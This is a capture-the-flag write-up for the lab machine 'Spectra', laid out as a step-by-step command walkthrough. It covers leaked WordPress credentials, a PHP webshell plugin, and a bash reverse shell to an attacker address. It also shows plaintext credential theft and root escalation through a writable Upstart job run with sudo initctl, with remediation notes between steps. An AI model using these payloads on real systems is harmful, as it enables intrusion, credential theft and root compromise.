Spectra
Summary
I scanned the target and found an nginx server (PHP 5.6.40) hosting a live WordPress site at spectra.htb/main/ and a second testing installation at spectra.htb/testing/. Directory listing on the testing path exposed a plain-text database-configuration backup file (wp-config.php.save) that contained the database password in clear text.
That password had been reused verbatim as the WordPress administrator account password, giving full admin-panel access without any brute-force. From the admin panel a malicious PHP plugin was uploaded and activated, producing arbitrary command execution as the web-server process user.
A plaintext autologin credential file readable by that web-server user exposed the local account katie's SSH password. Logged in over SSH as katie, a passwordless sudo rule permitted running initctl, and the /etc/init/ Upstart job directory was writable by katie's group — writing a one-line command into an existing job file and invoking sudo initctl start executed it as root, completing the compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for katie>"
export PASSWORD2="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
Version and default-script scan on the three discovered ports.
$ nmap -Pn -sC -sV -p22,80,3306 $TARGETAdd the virtual host so WordPress pages load correctly.
$ echo "$TARGET spectra.htb" | sudo tee -a /etc/hostsConfirm the WordPress install and the PHP version response header.
$ curl -sI http://spectra.htb/main/Exact commands 2
Directory listing is enabled — reveals wp-config.php.save alongside normal WordPress files.
$ curl -s http://spectra.htb/testing/Fetch the plain-text config backup and extract credential fields.
$ curl -s http://spectra.htb/testing/wp-config.php.save | grep -E "DB_NAME|DB_USER|DB_PASSWORD|DB_HOST"FixRemove web-accessible configuration backup files and disable directory listingCritical
Exact commands 2
Authenticate and save the session cookie to /tmp/wp_cookies.txt.
$ curl -s -c /tmp/wp_cookies.txt -b 'wordpress_test_cookie=WP+Cookie+check' -X POST 'http://spectra.htb/main/wp-login.php' -d "log=administrator&pwd=$PASSWORD2&wp-submit=Log+In&redirect_to=%2Fmain%2Fwp-admin%2F&testcookie=1" -LVerify the session is a valid admin session before proceeding.
$ curl -s -b /tmp/wp_cookies.txt 'http://spectra.htb/main/wp-admin/' | grep -Eo 'Dashboard|Howdy,'FixUse unique, independent passwords for every account — never reuse database credentialsHigh
Exact commands 3
Package a minimal command-execution plugin. The Plugin Name header is required for WordPress to accept it.
$ mkdir -p /tmp/spectra-cmd && printf '<?php\n/**\n * Plugin Name: Spectra CMD\n * Version: 1.0\n */\nif(isset($_GET["cmd"])){ system($_GET["cmd"]); }\n' > /tmp/spectra-cmd/spectra-cmd.php && cd /tmp && zip -r spectra-cmd.zip spectra-cmd/Upload the plugin via the admin panel.
$ curl -s -b /tmp/wp_cookies.txt -F 'pluginzip=@/tmp/spectra-cmd.zip' 'http://spectra.htb/main/wp-admin/update.php?action=upload-plugin' -LVerify remote code execution — should return the web-server user (e.g., nginx or www-data).
$ curl -s 'http://spectra.htb/main/wp-content/plugins/spectra-cmd/spectra-cmd.php?cmd=id'FixDisable the WordPress plugin upload interface on production sitesCritical
Exact commands 2
Start the reverse-shell listener on my machine.
$ tmux new-session -d -s rsh 'nc -lvnp 4444'Replace $ATTACKER_IP with your tun0/VPN address. Triggers the reverse shell callback.
$ curl -s --get --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1"' 'http://spectra.htb/main/wp-content/plugins/spectra-cmd/spectra-cmd.php'Exact commands 2
Run from the reverse shell to locate the ChromiumOS autologin credential file.
$ find / -name 'autologin*' -readable 2>/dev/nullReads the plaintext file — returns katie's OS account password.
$ cat /etc/autologinFixRemove plaintext credentials from the autologin configuration fileCritical
Exact commands 2
Authenticate as katie using the autologin credential. Use plain ssh and enter the password interactively in non-automated contexts.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null katie@$TARGETReads the user flag — -> <user.txt>
$ cat ~/user.txtExact commands 6
Confirm katie can run /sbin/initctl as root without a password.
$ sudo -lConfirm test10.conf is writable by katie's user or group.
$ ls -la /etc/init/test10.confBack up the original job before overwriting it.
$ cp /etc/init/test10.conf /tmp/test10.conf.bakOverwrite the job config with a root-level command. Swap the command for 'chmod +s /bin/bash' to obtain a persistent SUID shell instead.
$ printf '%s\n' 'description "root read"' 'author "katie"' 'start on filesystem' 'script' ' cat /root/root.txt > /tmp/root_flag.txt' 'end script' > /etc/init/test10.confTrigger the Upstart job as root. The script block executes with full root privileges.
$ sudo /sbin/initctl start test10Read the exfiltrated flag — -> <root.txt>
$ cat /tmp/root_flag.txtFixRemove unrestricted sudo initctl access and lock Upstart job file ownership to rootCritical
Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.1 (protocol 2.0) |
| 80/tcp | http nginx 1.17.4 |
| 3306/tcp | mysql |